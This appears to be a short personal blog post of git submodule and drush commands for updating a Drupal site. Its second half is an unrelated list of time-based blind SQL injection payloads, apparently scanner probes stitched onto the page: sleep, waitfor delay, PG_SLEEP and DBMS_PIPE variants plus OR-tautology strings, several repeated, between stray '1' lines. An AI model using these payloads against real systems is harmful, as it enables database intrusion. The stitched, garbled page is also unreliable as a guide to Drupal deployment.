Maybe you've seen the great article on Drupal Deployment with Git Submodules, by Randy Fay. I manage this site using that strategy, but some times I forget how every operation is done. So here I'm collecting them for my own reference.
For fetching all the new info from submodules:
git submodule foreach git fetch origin
Now we go into each module folder and use:
git pull
If we wanted to switch to a different branch, we should use:
git branch -a # we see the available branches
git checkout 7.x-2.x # the different branch
For committing it, we go back to the contrib folder and do:
git add contrib-module-name
Then, we use:
drush updb --debug -y
Maybe we see some warnings because of unresolved dependencies. In that case, add the new submodule:
git submodule add --branch 7.x-1.x git://git.drupal.org/project/entity.git sites/all/modules/contrib/entity
Finally, updating core:
git merge drupal/7.x drush updb --debug -y
Ok, so we've done this on our DEVELOPMENT site. If everything is OK, now it's time to update the server, after doing a backup:
git pull
git submodule update --init
drush updb --debug -y
1
1*if(now()=sysdate(),sleep(15),0)
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
1
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1
1-1 waitfor delay '0:0:15' --
1
1OQ4UVQEm'; waitfor delay '0:0:15' --
1
1-1 OR 304=(SELECT 304 FROM PG_SLEEP(15))--
1
1-1) OR 293=(SELECT 293 FROM PG_SLEEP(15))--
1
1-1)) OR 637=(SELECT 637 FROM PG_SLEEP(15))--
1
1VmlxFmwP' OR 866=(SELECT 866 FROM PG_SLEEP(15))--
1
1nMav6lxn') OR 102=(SELECT 102 FROM PG_SLEEP(15))--
1
1e4z0IPnm')) OR 148=(SELECT 148 FROM PG_SLEEP(15))--
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@jqt1H
1
1
1
1
-1 OR 2+932-932-1=0+0+0+1 --
1
-1 OR 2+781-781-1=0+0+0+1
1
-1' OR 2+395-395-1=0+0+0+1 --
1
-1' OR 2+566-566-1=0+0+0+1 or '0jdrGmTb'='
1
-1" OR 2+45-45-1=0+0+0+1 --
1
1*if(now()=sysdate(),sleep(15),0)
1
10'XOR(1*if(now()=sysdate(),sleep(15),0))XOR'Z
1
10"XOR(1*if(now()=sysdate(),sleep(15),0))XOR"Z
1
1-1; waitfor delay '0:0:15' --
1
1-1); waitfor delay '0:0:15' --
1
1-1 waitfor delay '0:0:15' --
1
1ue5RQkaF'; waitfor delay '0:0:15' --
1
1-1 OR 638=(SELECT 638 FROM PG_SLEEP(15))--
1
1-1) OR 557=(SELECT 557 FROM PG_SLEEP(15))--
1
1-1)) OR 180=(SELECT 180 FROM PG_SLEEP(15))--
1
1iKKC5jch' OR 775=(SELECT 775 FROM PG_SLEEP(15))--
1
1corLcIIL') OR 655=(SELECT 655 FROM PG_SLEEP(15))--
1
1pWMkzV5M')) OR 405=(SELECT 405 FROM PG_SLEEP(15))--
1
1*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
1
1'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
1
1'"
1
@@JRFgK
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1
1